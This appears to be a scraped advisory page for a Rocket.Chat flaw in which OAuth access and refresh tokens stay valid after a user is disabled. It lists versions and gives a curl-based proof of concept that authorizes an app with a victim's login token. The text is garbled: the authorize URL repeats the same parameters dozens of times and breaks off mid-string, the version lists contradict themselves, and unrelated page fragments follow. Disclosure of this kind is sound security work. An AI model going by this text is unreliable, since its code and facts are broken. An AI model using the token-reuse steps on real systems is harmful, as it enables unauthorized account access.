Rocket.Chat OAuth Access/Refresh Token Revocation Bypass Vulnerability

Vulnerability Overview In Rocket.Chat 8.2.0, OAuth access tokens and refresh tokens are not revoked when a user is disabled. This means that disabled users can still use existing OAuth access tokens and can generate new access tokens from existing refresh tokens. Affected Versions Affected Versions: 8.4.2, 8.4.4, 8.4.7, 8.5.0, 8.4.2, 8.3.4, 8.2.4, 8.1.5, 8.0.6, <7.13.8, <7.10.12 Fixed Versions: 8.0.6, 7.13.8, 7.10.12 Remediation Upgrade to a fixed version: 8.0.6, 7.13.8, 7.10.12 POC Code ```bash 1. Create an OAuth application as an admin: APP=$(curl -s -X POST http://localhost:3000/api/v1/oauth-apps.create \ -H 'X-Auth-Token: $ADMIN_TOKEN' \ -H 'X-User-Id: $ADMIN_ID' \ -H 'Content-Type: application/json' \ -d '{"name":"poc-app","redirectUri":"http://test.com,http://asd.com","active":true}' \ CLIENT_ID=$(jq -r '.application.clientId' <<< "$APP") CLIENT_SECRET=$(jq -r '.application.clientSecret' <<< "$APP") 2. Authorize the app using the victim's existing Rocket.Chat login token and exchange the code for tokens: AUTH=$(curl -sk -X POST \ "http://localhost:3000/oauth/authorize?scope=user&response_type=code&response_mode=post_form&state=&client_id=$CLIENT_ID&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri=http://asd.com&login_hint=$VICTIM_LOGIN_TOKEN&client_id=$CLIENT_ID&client_secret=$CLIENT_SECRET&redirect_uri

Goal Reached Thanks to every supporter — we hit 100%!

Rocket.Chat OAuth Access/Refresh Token Revocation Bypass Vulnerability

More from this source